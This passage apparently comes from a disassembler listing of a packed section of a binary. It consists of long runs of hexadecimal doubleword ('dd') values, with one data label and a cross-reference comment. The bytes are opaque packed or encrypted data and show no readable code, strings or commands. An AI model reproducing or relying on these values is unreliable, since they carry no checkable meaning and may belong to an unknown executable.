113000F4h, 409ED0FEh, 0F200B95Dh, 2ABA86Bh, 39E8F973h dd 0D48080C0h, 7AF614D6h, 6700D874h, 0A02F6FA6h, 0FA909BBh dd 0C97846DCh, 2044ACA7h, 0EE6F53D4h, 2CBEE600h, 0C211E004h dd 0E8E71F15h, 6DC008Ah, 1719488Fh, 0A1801600h, 0A8E09FBCh dd 0DFD600DDh, 0C48AFEAEh, 44006E29h, 81522216h, 6B9D99h dd 824EFD46h, 63EDCCD2h, 4A683400h, 50596AACh, 16BA0019h dd 1746E454h, 53006CECh, 5C3FA936h, 2BD049h, 71864714h dd 438E7D55h, 2848B00h, 6FA2F9D9h, 0C0BE1D33h, 0C364057h dd 1CA9E156h, 0E0DB0B00h, 7C6C02A7h, 7787FF3h, 0B946E5ECh dd 0D72C7010h, 0A67A45B4h, 24AB1305h, 0F68074B2h, 2ACA99h dd 0B973437Ah, 219172A2h, 76C52D00h, 46CC3F8Eh, 0E18A3E44h dd 0DAEBB104h, 4B4CC033h, 457B04E7h, 0B6C6B500h, 2D6FC3FDh dd 684E0065h, 0B34182DCh, 1E001C75h, 30EF2387h, 109D408h dd 89A5B54Ch, 0C08F26D0h, 0B6007B1Bh, 62563C68h, 0F1B002h dd 7FC7F217h, 7A72768Eh, 6E06BA1Ch, 4C56280h, 103F29h dd 68F04B2Dh, 1BB5EF13h, 8018743Dh, 0A355D65h, 2E3E90B9h dd 11C0289h, 41DD5015h, 0ED3F60AAh, 0E8F0F100h, 3CAC1701h dd 4E131F03h, 642F8BD5h, 11F92F00h, 39009D8Ah, 0BC363B51h dd 48CDFh, 0D434AF3Ch, 9EA9FE2Dh, 0F63A3E00h, 0B2F806A5h dd 1ABD00D6h, 1184089Bh, 82005E02h, 59F762E4h, 234E673h dd 38DFC6ADh, 0ED401351h, 8F00DBEFh, 15F09875h, 4AB741h dd 3B4E2DC2h, 0A56E8DCBh, 779C80EBh, 48FA0C6Fh, 29E900BEh dd 83352269h, 0D400049Ah, 5556E46Ah, 0A71FD0h, 6199A2CDh dd 40B5AB1Eh, 393A9700h, 0F1C1B42Eh, 0CC4300D5h, 0E46E5D19h dd 0ADA0DE93h, 47171DA5h, 0A6038637h, 0C54AC235h, 365B8A80h dd 0CBB40773h, 7CD6E04h, 657160BCh, 2B0F3B4Ah, 0EDEB35h dd 0F9DC583Eh, 0B182006Fh, 0B077F8A2h, 1F074EC6h, 0BCA8A7A9h dd 0A3E7A401h, 31BF4C80h, 6F280F43h, 0D5B5B200h, 19796A2Ah dd 5E50007Ah, 9EDC8E51h dd 4B00A453h, 8C7C77FAh, 63BD3Ch, 4D5734D2h, 92E5AC82h dd 430013EAh, 2B57D10h, 7A6D0824h, 7F7100BFh, 870F57CAh dd 751CEAA4h, 0E5C05FB4h, 0C7C35AB1h, 0A630001Ah, 6A9D3DF2h dd 0FE60C64Ch, 3A666512h, 6F1600B1h, 219BA986h, 2A002409h dd 0C69EF0E5h, 5C4C98B5h, 0D4004044h, 9DAD573Ah, 9C0020EBh dd 9658FC0Eh, 3DE0EDh, 45E6FF63h, 242C69B1h, 1123EB07h dd 802031DBh, 78AC5E3Eh, 0C3D73A19h, 4034AD00h, 792E2FCAh dd 1B42F000h, 2259E35Fh, 971500D0h, 10D52546h, 0C7004398h dd 8BE5A7C6h, 0F11B85h, 0E3585613h, 890FB87Ch, 3EF38400h dd 2DB58A7Bh, 6CBF0731h, 4010C942h, 981254B7h, 518E3700h dd 0A1AAA086h, 6E7DEAh, 0DB8C01B4h, 69B882C4h, 8113FC00h dd 9CE0F71Dh, 80CA003Bh, 45D6B531h, 8200EC61h, 84EA6D9Fh dd 1E9C4860h, 88CAEFh, 9664DEBBh, 1A00B0A7h, 0A19AAEC7h dd 0A3EB4Bh, 0FA223888h, 3E06D3CFh, 603B7300h, 0F576906Eh dd 0CB960E39h, 1B476BD1h, 53F40309h, 0EFC060FFh, 43009F65h dd 0BA02FFFEh, 57E8CFh, 24486AA8h, 3177FD69h, 338E910Eh dd 745BE017h, 0E23827h, 0D3FA6FA0h dword_4E414C dd 0FCF2D7C6h, 0C468A101h, 0D5DADDBAh, 0C278ECh, 9A5A2229h ; DATA XREF: .packed:off_43CE80o dd 0EC2FED2Bh, 950C3Dh, 1CB7C7F1h, 0F798592h, 0EAE4C37Ah dd 0BF3AEBC0h, 463A883Fh, 80778301h, 0E0DE22DDh, 4CB53Ch dd 0F81ABA6Eh, 7968E410h, 1EDD0B0Bh, 0C963805Fh, 104B574h dd 0C870BE93h, 0F4806619h, 0F00133Fh, 64C2482Bh, 1C26E8DAh dd 80E0E653h, 0D52A5512h, 9400C572h, 27075897h, 7339F306h dd 917D0078h, 7F8DACD3h, 1900812Dh, 0DEB40D28h, 1E5E88AAh dd 9CD30842h, 0DBC200A7h, 0D40B7233h, 8EA85907h, 0DD201752h dd 1D3A92BEh, 802DB122h, 1AE4FCA1h, 0B5F44DBDh, 0D3E22300h dd 0B42F7B10h, 0F6C300FAh, 502B030Ch, 61EC48A5h, 604B4F00h dd 0BB977D7Ah, 0A40D1FE7h, 6A2B00E9h, 0EA849962h, 4BD48F00h dd 3B40C525h, 9B120045h, 77E95055h, 70007CAAh, 7BCB36E8h dd 5B9860h, 789D56E0h, 686416D0h, 77AA0500h, 0CEEC86C8h dd 0BF2B0E3h, 70ED7215h, 0C2D01400h, 2300AE80h, 4C1FCD3Eh dd 0C42B24h, 54A83C95h, 1165940Bh, 7C4D5600h, 5024F6CBh dd 58260779h, 506E9A7Fh, 1C436589h, 49DC6A00h, 0F40628AFh dd 7F603866h, 44B37480h, 7ED8C3ADh, 51292500h, 62F0C563h dd 3EE0E6h, 0CA42DA2Eh, 0D93A48A1h, 4F348E00h, 705EC24Ch dd 85E3050Fh, 0C0B225D2h, 42F1FFB5h, 4310D00h, 0DB712C64h dd 27D20170h, 0AC7EBD5Fh, 8B19F015h, 0FB681F00h, 45F186A2h dd 0F7C7004Eh, 0EC22F4D0h, 21005B67h, 7DAD7A9Ch, 7DA8E13h dd 6106088Bh, 0A23580C6h, 7F001E95h, 14B45690h, 0E80D7Ch dd 9320A5E4h, 0D6DFE21Fh, 34175E00h, 46EE3128h, 4A830370h dd 0E0445303h, 8BED9097h, 0FFEEA182h, 0CC950B00h, 52B2F149h dd 0FDB90369h, 70E68BCBh, 0DEE4CA90h, 9C54F200h, 65E080C1h dd 0C80C0082h, 0F18819BEh, 6B1D66CDh, 9A432BB8h, 0D01D22B4h dd 0F0F71B9h, 650AC836h, 7246A440h, 0D6798D25h, 0ECBB0300h dd 87D57B54h, 40F0068h, 6CC8426Ah, 138623Fh, 6B198063h dd 0EDB45B71h, 7CEF0B58h, 0BD00B336h, 9E73B11Fh, 0A533D900h dd 492E0D9Ah, 0EB0900A4h, 41B24B5Fh, 0CE02AB01h, 53E0871Ch dd 0D1AE4098h, 81580038h, 0BD6E17BCh, 0F4E20434h, 0BB6F7C00h dd 0FC40B478h, 0CD9103D8h, 0C77459EEh, 15CA34A0h, 0CF7F570Eh dd 7EA2E00Eh, 386A3371h, 0E887E5D4h, 0C06F2B1Dh, 26DCB87Fh dd 9CB3A400h, 0CF308F80h, 7067194h, 5E51C7CDh, 70A5C0A3h dd 2300A114h, 907AED61h, 5CECADCEh, 0A90008A4h, 0C247E17Ch dd 77008E79h, 65DE7D4h, 0E89AC79Fh, 5BEE71h, 0EF2B7003h dd 106EBA85h, 81D20D00h, 84158225h, 12B600F7h, 581E28FBh dd 29008788h, 3D54438h, 7520761h, 971339BCh, 0B20E6075h dd 0B177EA93h, 68604800h, 0D2D7B4C9h, 0D3D1005Fh, 0B9E73ED9h dd 7F002183h, 84275259h, 99FC0Dh, 25942CCEh, 7EF07A43h dd 0EC000270h, 0B7FA8C8Dh, 9571A1h, 1D06308h, 3E0CD647h dd 671DDB01h, 0B1EFAE9Bh, 766B6D0h, 0D1C8A385h, 0D79E203Ch dd 5C00B879h, 0B2B4374Eh, 91CE31h, 260C7394h, 3D11493Bh dd 0C122BB00h, 41F2504Eh, 0F7BC0028h, 9C2FD980h, 0F600C532h dd 43AE7E7Fh, 78EB8456h, 5BD1006Fh, 7409402h, 30F91F4h dd 1CBC9759h, 0FA1FFDC1h, 0E6E44C25h, 0FE7B3F9Ch, 926D00FBh dd 9F761D0Ah, 523D0F9Bh, 0FC6E0989h, 4ECF0085h, 0D8CF83h dd 0A458D420h, 98E2BFC9h, 0F8B0FB71h, 4AFF3900h, 5802B441h dd 0AE4B00B1h, 0F13F5CF8h, 8D00C896h, 63070925h, 907897h dd 91A55D4Eh, 0D4049CB0h, 20C73E00h, 0B181533Bh, 14DC3B7Bh dd 44E13700h, 0D152CBC1h, 0A17F3000h, 8C00A85h, 8C500004h dd 1CFD2A6h, 70B6DA3h, 811D0564h, 2A7C696Dh, 1283E0h, 4CF1B36Ch dd 0DFAFA121h, 0A9981B00h, 0B78CF5E3h, 73DB1E02h, 74BA07B5h dd 3F32101Fh, 5A004AF2h, 1335B483h, 75EC49h, 0C3DDA8E8h dd 1D07A49Fh, 0B100B8B0h, 7CEBCDC7h, 0E16971h, 0AA8A904h dd 486E8B7Eh, 15B31209h, 19DB00B1h, 0E79BB4h, 2BD5C3D1h dd 3C9F08DCh, 411F6700h, 9E54DA49h, 0B1D60ED0h, 0C01D970Ch dd 72D12BF4h, 33CB0DFh, 9DDA8062h, 1AE944A5h, 87C60021h dd 0FD28D23Dh, 4700E0ADh, 2DD48E6Eh, 0E36A260h, 73F4B7AEh dd 0ABFFFBA0h, 8B0309B4h, 80ED4C5Eh, 0B26D9007h, 0A90C00A3h dd 2D471771h, 64FE3EC2h, 3C97B400h, 885E7530h, 1897B2Fh dd 8CDB4F9Eh, 0F406D135h, 5B006611h, 0D2EA330Ah, 1E684E37h dd 80D51EBBh, 0F7AFC21Ah, 0F21D5C7Bh, 37C02795h, 0A55943C0h dd 1ADA002Ch, 8953AB18h, 9C00D23Eh, 49561BF7h, 3365720h dd 3D54B9BAh, 6AD0148Dh, 9E00B3CBh, 0C510E6CFh, 1F2BE165h dd 0D26F6D25h, 1E8900DDh, 0ED5A5040h, 0C1B9AB07h, 0FC3092F5h dd 0B846DC48h, 0C0700Ch, 0F0652BD9h, 0F5401656h, 30F64D00h dd 0D59021B3h, 2B5309F7h, 0FF00E9CCh, 0DEDA07C8h, 52FF9100h dd 8992D91Ah, 55181CEFh, 316409Ah, 0E1DC58ECh, 6965C800h dd 790AF150h, 0DFA001E6h, 814B2C9Fh, 0B58DD8F6h, 99723003h dd 0B83739C6h, 0C8D6BCh, 0F3D16744h, 26D4F68Bh, 52450800h dd 3C8F99BAh, 7266003Fh, 0E74EB076h, 0BE07B45Ah, 2D9F71C4h dd 8B3C2EC0h, 0F65D007Bh, 329D19DCh, 0D000BDBEh, 3D7FBFE0h dd 750A0CFCh, 0E6390FA7h, 0A0497768h, 0FE25A101h, 0B98C0EDh dd 94FB6750h, 0E64BF4Ch, 213A7CDCh, 9939599Ch, 7A9219E4h dd 866407FBh, 3005ECA4h, 0C731C165h, 3566D100h, 56E559E1h dd 586306CEh, 0A8E8B860h, 67314500h, 553FC96Ah, 2E85F213h dd 0E0B3DEh, 5025C095h, 910057B2h, 0E0DF9ECh, 0EC8DEA94h dd 864C3978h, 0CB33B300h, 0BF3DF82Eh, 4EE55807h, 6C610773h dd 95C0A99Ah, 0E8AC0E94h, 51403CA3h, 1E45AD41h, 0AE9EC304h dd 0A5C1BA48h, 93D063F2h, 9AA7866h, 0FC465C01h, 2E7ADA00h dd 5E8B21Ah, 0CB818700h, 4ED6990Eh, 18EA00E6h, 7B12D32Fh dd 6800F7B8h, 0B48FAE75h, 0A070BAh, 9B20F56Ch, 0DCDD7186h dd 46779503h, 0C1FE1553h, 0A17063ACh, 0C2BC3991h, 0C99DF000h dd 0D50553BBh, 1407F87Fh, 4CCE723Eh, 0AD693870h, 0A17C003Dh dd 0E91E33A0h, 0A90009BDh, 477AD48Ah, 4AC25Dh, 0C6863F2Ah dd 6ADDBBF2h, 1452270Fh, 0CD024004h, 0D8A1F1h, 3E0873ABh dd 7061C269h, 901FBE79h, 7680B26Ah, 97D0E982h, 0B32450B9h dd 0C30300B8h, 2B67C67Dh, 8C03D16Dh, 808F4436h, 0C68E02h dd 509BECEDh, 6F566E61h, 9E172400h, 91820EFBh, 698130FDh dd 0CF1C9050h, 0DF3BB50Eh, 0EECC7A7h, 0E3E931F0h, 7947E9Fh dd 0B36B851h, 0ABB6914Dh, 788160C2h, 18F9A41Fh, 0F4CF1907h dd 0A66DE520h, 3014017Ch, 97A98826h, 0E4E06176h, 3D00A574h dd 0AB4B4E07h, 1E9EDC6Ch, 80B32CA1h, 82DBF137h, 0BA17B936h dd 14006BCFh, 429C2DF2h, 0CE9100DDh, 9A8312F5h, 1907FD46h dd 18826362h, 20F70ED1h, 81B980F6h, 0C94D8Eh, 27D1F438h dd 0AF1EE02Eh, 545D760Eh, 0A943078Bh, 2A40C187h, 96CD529h dd 0AB7B1D58h, 27EA9680h, 9A0E96FAh, 40CD153Fh, 9F1E0A4h dd 40AD0754h, 673AF9A1h, 0DD7BC01Ah, 1B005271h, 0F28DA7B3h dd 0F5865Fh, 968C41BBh, 274A0878h, 0EA00E27Ch, 430ECC0Ch dd 4524CAh, 0A4DE3DEEh, 16DA7787h, 0F5EB8300h, 0C08F130Ch dd 377D1F32h, 5925002Ch, 7CB1AE2h, 67392801h, 9E699D68h dd 1FEA2CD4h dd 80E87BB6h, 0E3B802A1h, 81007EB9h, 9720E7B2h, 39E2C9D0h dd 0A780510Fh, 932F1BACh, 920046FCh, 0A61EB9D9h, 15C55E1h dd 0EFB51F66h, 0F08018BEh, 4F006D59h, 84D03620h, 869354h dd 9427D50Ch, 0EFD2E6FAh, 8D004178h, 3498CC71h, 2CE2A261h dd 2C05A6h, 6263F1C1h, 67587421h, 369E00EBh, 0B7376D5Ch dd 61E001D9h, 40C39C13h, 2F30FC29h, 0DB70BB0Eh, 0AE7D60EDh dd 1C1214EAh, 40EB7BBDh, 0AA5EB201h, 370EC91Dh, 201161DAh dd 72222F41h, 0D5493D04h, 47922780h, 12625545h, 0ADAB9701h dd 1464F5C4h, 39C0BEC0h, 0F600FB54h, 2AD63935h, 0DD008D89h dd 0E533CC7Ch, 87EFB4h, 0F82C2B55h, 11E7EC32h, 0AB8A9F00h dd 0B3D0241Ch, 60B0FEh, 2E4316Ah, 0A4179848h, 1FD42200h dd 8890A0F1h, 0FE3A38CBh, 0F91D4487h, 0B5002BAAh, 0C307B48h dd 809D4F3Ah, 4073F7C2h, 7E6BC0Eh, 88E056B9h, 0DFDDA065h dd 0B70EEEB2h, 0EED0C40Ch, 9793E34Ch, 70B9E005h, 822100F8h dd 45B7815Eh, 23010FD7h, 2DF94028h, 0E0D76EDFh, 3B54CD48h dd 1100F115h, 5908F735h, 9003EB57h, 0C2128ADh, 0D84BC0D1h dd 0B6DC006Dh, 0B50A51FAh, 337BF59Ch, 927E0D07h, 8150D313h dd 71673h, 9A21E296h, 0A7480B3Ah, 0A2F6191Ch, 1FCE08C0h dd 3CDE4Dh, 9071171Ah, 51BED30Bh, 4B26B60Eh, 29A04752h dd 0BBB71A80h, 80FB0090h, 0ACFF088Fh, 8D583E70h, 0EFF3009Eh dd 0DF958E23h, 0BD960057h, 593EA17h, 4008226h, 6764D262h dd 7539E6Eh, 6A14FC1Ch, 48E9A08Bh, 4900CA63h, 0C129F8D6h dd 3AC0AD77h, 7D0EC9h, 31D3D9DCh, 0B190C89Fh, 0A483533Dh dd 0DE2002FAh, 4B0EFE0Fh, 3C75808Fh, 0D75188h, 0CA2BBE37h dd 0C8C1F11Bh, 738C7400h, 7813098Bh, 0BAFD0057h, 0B432A179h dd 0C900E2D3h, 1B87E75Fh, 1E1705FFh, 8093FB99h, 0D995ACB5h dd 71D88D1h, 0B607B93Dh, 59D0D0FEh, 364AB3h, 3FC50C4Fh dd 8D5EC67Ah, 0F315CE01h, 0F4AC124Bh, 747E30h, 0DC18057h dd 2C25CA22h, 0E8AE2700h, 0E6D887Ch, 0DB1B00CBh, 0AC21534Ah dd 2A008F2Eh, 0A32597C4h, 0C591AEh, 31889B9Ah, 0A7F435E8h dd 0F6002A76h, 396C2C53h, 64CF95h, 0C559903Dh, 0AA819F45h dd 0BC0EB976h, 257A6812h, 0B200C7A4h, 16619160h, 89EE62h dd 24F1FB1Ch, 201252B3h, 15C4A00h, 0B2587ADh, 3FD00383h dd 0DE27BEABh, 1BA35C00h, 3451CAE0h, 5680732h, 70E747F1h dd 0AA63E445h, 7DFD7500h, 764F5FADh, 5004C725h, 33E3C0BAh dd 20007AE6h, 17D73870h, 939D69h, 0DB1A6BEAh, 0D1A9A743h dd 0B8CD3Ah, 4B6730A1h, 5AAD57h, 76CCF4E5h, 59502D28h dd 4400087Ah, 0A7307E1Fh, 0E0367F5h, 54897DFCh, 22D97940h dd 4200976Fh, 21DDE8F6h, 46B4D0h, 7C8C4BE4h, 9C485E51h dd 25DE8307h, 0BF30FE4Ah, 354ADAFh, 0B1A5080Dh, 16C8D956h dd 0B5000958h, 0BC358CC5h, 0D477F6h, 47265C7Bh, 10BA2015h dd 0F0A83Eh, 0CBA605AFh, 5C8B46D0h, 0B4003F97h, 11D6E70Ch dd 4400F028h, 0C89D7C9Ch, 77F3EBC4h, 0E8D5005Bh, 3CD2D6EFh dd 0C57EFE4Eh, 0C70075E8h, 0B95E3140h, 35C9DE4h, 12B0FD44h dd 0D6D8BFE8h, 0CE077EB6h, 0B9B7B834h, 2E4EBA50h, 29AF00FEh dd 1D06A001h, 0EA054144h, 0C3BF38D4h, 77B9ECC0h, 0A1D704E7h dd 0C03949AEh, 0AA0A9E16h, 21205B00h, 0E1A2DC35h, 5AEB00DDh dd 8701F9A6h, 2200EED0h, 43FF36AEh, 69FB66h, 0D6D13347h dd 48C7F55h, 25E77E00h, 0DD1C750Fh, 305E3FFCh, 1E6BFF03h dd 0BD83C61h, 0F2042131h, 62C31D67h, 33920A80h, 0E9D4F7DEh dd 8A93F34h, 0FF51A800h, 49F103B0h, 7F503202h, 0C098BD8Bh dd 9D5C26h, 922F0B61h, 0E94AE51Ch, 0E3562501h, 5C3E3F63h dd 0A95B0EBh, 0BF750060h, 410B39F0h, 2A16C830h, 2D1E74E4h dd 7A995Eh, 23898D15h, 1688DBDDh, 47B66Bh, 3DD9A093h, 0BE000EBDh dd 3B259034h, 1417C34Fh, 8E847C68h, 0A23CB402h, 9E608FCCh dd 390E9146h, 78D94Eh, 4DFCADC2h, 0B3451F7Fh, 745D0C0Eh dd 883887ECh, 9400F6DCh, 0E017FC8Bh, 0F0DF92h, 86DB63FEh dd 6DF82A58h, 38282600h, 5E7B3FA7h, 0BDA40950h, 2100379Ah dd 3EA3EF7Eh, 0B224D671h, 8004D34h, 5068FC1Eh, 0DA8807F0h dd 0F0B9EB4Ch, 3885D870h, 92C97700h, 0F666C599h, 8D1F09AEh dd 0C4812739h, 0F00CF7CAh, 87034EFCh, 0B07CA204h, 0C21DD859h dd 480AECDAh, 0CC0291CFh, 797B4932h, 1BA6B3C0h, 58C3DC00h dd 3776F4BDh, 8D4E007Dh, 6567B71Dh, 0A400F02Ch, 0E91F3614h dd 0EA309309h, 0C30A0074h, 4E87BC31h, 0D771C6E7h, 0D252BE00h dd 0F27005F9h, 0F981EC8h, 37FBC7D6h, 0BD278049h, 0FF0FBAECh dd 0A0E1A5F4h, 0EB388C88h, 2C3A000Ah, 78914A63h, 0FDA0054Eh dd 0A700D8E7h, 53D02D81h, 303D79Ah, 0A579E2C2h, 18E0D12Eh dd 5107B91Ch, 0EC7B8E0Dh, 7C8DB1F0h, 0F11900BAh, 0F00840F6h dd 0DF00256Fh, 0AE690C22h, 0EE9DA9EDh, 3F16099Fh, 0A183E50Fh dd 14D0FCC1h, 0EA007FD7h, 66998136h, 0EF979CEh, 44B39008h dd 3F983320h, 820034A9h, 0CC8E1CBDh, 6A53A5h, 8FEC2F57h dd 63946B5Dh, 1B1FC500h, 753F2235h, 2F6E0F4Dh, 28607AF0h dd 0D43264DCh, 3575C874h, 6205DB00h, 9B7E488h, 59E70F30h dd 0AA203F72h, 4351EFAFh, 2B0782E8h, 75C405Ah, 0FAD21410h dd 0CFA9001Fh, 80964D02h, 2F1D2A03h, 43437782h, 88B7E097h dd 0A85B4Ch, 0C2515308h, 685242A3h, 0B50521F2h, 0CF4906Bh dd 2FA7F280h, 3B0700F7h, 9FFD1438h, 4B0184Bh, 330F8677h dd 0A09ACFD0h, 0EBB645FEh, 6ACD0046h, 4CBFB17Fh, 3C0EE5B9h dd 80286324h, 257C3F3Bh, 9B0304A9h, 806F9E2Bh, 90690802h dd 0CD4C4700h, 0FA8AC5C7h, 522F003Bh, 2942D52Eh, 480EEBB2h dd 0C09934CFh, 6B1B827Ah, 300800DDh, 312E64B6h, 370069DEh dd 0A5569A4Fh, 88BC80h, 83701ED6h, 4C143EA9h, 7C2DAD00h dd 907F39C2h, 92100D2h, 0B8F1B14Eh, 9B010AC1h, 36F9AA62h dd 0D160E731h, 77610073h, 7A15F621h, 0E203192Eh, 0AE65EA02h dd 0E0CEA8F8h, 0F73F0064h, 9C3A9BF5h, 6E4B0EFh, 0D9189200h dd 32FC150h, 67930015h, 0C341E9EBh, 0A300190Dh, 5D489A09h dd 0C1A010h, 2847E14Dh, 97780351h, 0D7DA5700h, 7E0637B1h dd 0BE3900E0h, 3C382A48h, 0F000E405h, 7ADE69D3h, 743352F6h dd 7290072Ch, 201CF387h, 13540EE7h, 630ABC00h, 52E3C18Fh dd 79754Ah, 4F5EB49h, 0F696DB6h, 0D59D1D12h, 3221B600h dd 651267h, 25997972h, 0D698B2E6h, 0AE00E170h, 0B12E3F1Eh dd 75B9C9h, 4C6C6FB4h, 0EA83E2F1h, 44A638h, 0D3357446h dd 5C7B532Bh, 0C8006784h, 372CB804h, 2780C54h, 85FAA200h dd 0BD3211ADh, 83F500D7h, 0AC0BF2Ah, 0AAF43F94h, 804AC53Dh dd 0F370A982h, 253754h, 1ED75878h, 15653431h, 1A0DF700h dd 9080F466h, 7E0985Bh, 0B96E0F0Bh, 47C0536Ah, 0A67242B8h dd 0FD49BA00h, 365D9303h, 710C0364h, 2E436235h, 0AAD728F0h dd 0FD222D0Bh, 74738779h, 503AE810h, 232C5CCAh, 0CE361601h dd 217EBEE2h, 62268A52h, 1200A63Ch, 0E096F64Ch, 474E28Fh dd 9D32D43h, 522E8022h, 5800EF75h, 2A8B36AAh, 3E6300Fh dd 0F4A82E87h, 97A065C0h, 0B8005410h, 0FEE8C536h, 275EDB9h dd 8CAB0983h, 10C030E3h, 0BA0BC2BEh, 3576B1h, 40B6E745h dd 64F042h dd 1A2F63DBh, 7EE57B4Bh, 17505400h, 8C9340FDh, 8D070379h dd 0A16F64A6h, 0C1213B98h, 15A8F100h, 0B480B79Eh, 489D0150h dd 6B823E02h, 0D82461D7h, 9F007292h, 3F1ACFC0h, 93C258h dd 5116FDFCh, 70141DB8h, 4FE8F00h, 0AC33DE95h, 3F819047h dd 0C980633Dh, 7ADCE1AAh, 0BE3CD82Fh, 0D9BC00ABh, 0A4A2AF17h dd 51F91F67h, 167CC045h, 0BF2BCB54h, 0E67E3C00h, 0A0920388h dd 715203ACh, 9FA4F95Ah, 0F7D04F8h, 58E1B600h, 89CB33F0h dd 4D741FDDh, 55EEC02Fh, 35980A69h, 0CE17C000h, 66D80777h dd 0BEB601AAh, 73F17E21h, 0DEE8D4A1h, 0F6C5BB00h, 801DA064h dd 0D4D50093h, 404DBA6Dh, 0CD001FF5h, 0A349848Bh, 7DFECFh dd 0B5769C57h, 0F4CEC891h, 0C5737A07h, 6B17E575h, 0E97D6770h dd 7FE8002Ah, 90884462h, 0DF0FFD10h, 0EF3DBC37h, 0BFE38707h dd 0BBB214A0h, 4B27008Fh, 87B37071h, 4A71E85Dh, 23A138h dd 49CEB63Eh, 59845h, 0FD11B9E7h, 6A875ED5h, 9E02951Eh dd 0AA0DFFC0h, 0CF3835h, 672AAF2Eh, 0D6627327h, 0CE908B0Eh dd 0F4E8C0F9h, 1E58104h, 2F748698h, 0F14F50C4h, 54F1ECEAh dd 96024900h, 0D6CC3246h, 0AC353A16h, 25BCCB00h, 5BD33CB6h dd 0F0038E8h, 94E99AFh, 3F9AC89Bh, 2680717Bh, 0A22B391h dd 5B00DFE9h, 7D57F018h, 0B34EF61h, 0A656DD19h, 50CBCC01h dd 0F271C85Fh, 0DEB4F401h, 0A1D637FFh, 0E1C74C8h, 89A3F143h dd 9932B8C3h, 716D1A88h, 7C34C00h, 3E03E9A2h, 0C7202C2Fh dd 57990072h, 136CAB28h, 2DA25100h, 6AE2C689h, 15000E4h dd 855A2EA4h, 0EE001FF6h, 0DDC3BB04h, 0B80870h, 407B83A7h dd 69DA5B9Fh, 6188401h, 82CF1E19h, 67ECE5D9h, 818E0023h dd 0B485FE86h, 4E07D545h, 0D1EE5A8Ah, 0BC71E80h, 5BB91C09h dd 25B60011h, 4D1B7A1Fh, 693DDD26h, 87F97100h, 1D39B533h dd 8F58B336h, 5EC03BD9h, 0E7CA6A3Ch, 166B8F0Fh, 5B142028h dd 0E8361Ch, 0A1A7736Fh, 0A89570C6h, 0EAF25201h, 5A8D65A4h dd 72F19E4h, 0FFDCC5DEh, 24F970B5h, 142CAAF2h, 0A700015Dh dd 616B7592h, 91700DCh, 4FBE2D3h, 210006F0h, 0A1C6305Fh dd 3B20A0Eh, 1544BB51h, 4271EBB8h, 500B39h, 4E7FA017h dd 70DA9Eh, 6EC42E06h, 6AE4417Bh, 63005A73h, 0C2A9AEA7h dd 78D6BC99h, 0CEF01D2h, 0C7EDC8BBh, 657CF8B9h, 3BE91A00h dd 83F66D1Dh, 370300BAh, 8186A526h, 0FE00900Dh, 0F727FD71h dd 0E1C4EF4h, 9444782Ah, 61CF1880h, 0B90E4AADh, 0F93EFBh dd 543D4EE3h, 0ED2C924h, 80155907h, 1AEDCC38h, 0F70703B8h dd 33563EC0h, 0ACD4EC20h, 0FB09Ah, 0A4F34D6Eh, 0FD24E3CEh dd 0D7D0501h, 0E6F0AAE9h, 0B8FFFCCCh, 9DC426EEh, 5F383A5Dh dd 8ACF12h, 0AA95AD2Dh, 0F100A7E7h, 5299B75Eh, 45C8779h dd 5A09ED0Dh, 91D5C0D0h, 0A000F28Ch, 0E93B98E1h, 0F9ACE6Bh dd 1CA5EBFCh, 5D5846E0h, 0A016BD22h, 0E2008F59h, 1FE9B0Bh dd 10BC1DFFh, 6B3F8182h, 20798626h, 0F600916Ch, 51DB6342h dd 0F06216h, 1E20C03Dh, 3C69E325h, 0FF2697B0h, 91D010Eh dd 351D6540h, 10B9B8Dh, 0E786ED43h, 0DC9A89FCh, 161348F2h dd 0D50E6D39h, 57E6E068h, 7F42A435h, 8B0D0018h, 0D1454A5Ah dd 0A3005393h, 629E6739h, 1CD379F7h, 415BBC36h, 844A9FC3h dd 0E876DDEEh, 6900E844h, 380B8BFAh, 28B23167h, 26BAFBA3h dd 1254FEh, 0C08C24E4h, 4D7FD133h, 48082300h, 0AA42F1C8h dd 69342462h, 2C1D00B7h, 0E03AD511h, 88091AF0h, 80236F02h dd 9F9D38F0h, 0B56B037Ch, 46C4BF01h, 69BEFC00h, 0BC6FA3FEh dd 3DD0EB73h, 0FD1F00B0h, 5B529DD6h, 0CD00FA0Fh, 0E486922Bh dd 0F87C41h, 0CCB4E893h, 0C1B81618h, 3CBC635Ch, 3D8300FBh dd 0B9EBCA20h, 806B0042h, 52FA233Ch, 0D9B0B731h, 4C979BA0h dd 0E4A49200h, 64D849CBh, 0AC891895h, 0B33058A1h, 76826A00h dd 94462CEFh, 744B1E31h, 330A8016h, 0EB135F54h, 59806603h dd 925B4DD4h, 292240E9h, 0D1840076h, 0F956247Bh, 9D1DF641h dd 58C0542Eh, 81550767h, 0F05C765Dh, 0B6C80089h, 7EA99728h dd 95033F13h, 6D29B9E0h, 3CA598C9h, 24891ECAh, 4FF900D7h dd 0EF81990Eh, 60D1D300h, 0E3A9C368h, 0C77A94h, 4439EAB2h dd 0F15341E1h, 0DB6C7900h, 65C6E24Ch, 0B6B70006h, 0B5299D75h dd 4500307Ch, 20679EF6h, 4E92D8Dh, 23C7043Eh, 171080D4h dd 961CAAA4h, 0A8002959h, 0D8FD4C68h, 7F3A00BDh, 76A08833h dd 4100FF47h, 23EA3ECFh, 7D4FD7h, 0E366B27h, 0D6DDC8A4h dd 46559E00h, 0D028A169h, 94BD3C74h, 334E4A0Eh, 534B5021h dd 9261F672h, 537C86Fh, 0E4791700h, 0F6B74C2Ch, 622700E1h dd 0D645ADFAh, 8800A3BBh, 5705D715h, 28FC3Bh, 4FE86C7Eh dd 0F2BBD4B8h, 0B501EEE2h, 0AE5AA00Bh, 93FF204Ah, 0B12DA0BDh dd 259C0164h, 3EE33BEAh, 11BCC435h, 5B7F8500h, 6222B69Eh dd 0EFA90013h, 0B583B0FFh, 8DE47231h, 0D44E0B0Eh, 1F3C869Dh dd 0D83E0058h, 48776715h, 0BC00437Bh, 2868762Dh, 0EC5E4C83h dd 3B1807D3h, 0D02B6A0Bh, 0FFDF0915h, 0DB4A2C17h, 278EEC00h dd 1E79DA47h, 0CE515836h, 0FDA0978Ah, 0D8FBC466h, 0EFF73Dh dd 0B6E75E0Ch, 7C98CAh, 0A23262E8h, 6C437EC6h, 0C59B9418h dd 7A63C8Ah, 70602BE6h, 0C3AB5581h, 0DCC04141h, 0DD00A1F5h dd 0E368090Ah, 1CDCFD8h, 0EF4CB25Ah, 0F4237D69h, 91038030h dd 759478DBh, 6587E8D4h, 0BD38C07Ch, 33305969h, 47D8600h dd 6BB24CBEh, 0F2A2E60Fh, 481400BDh, 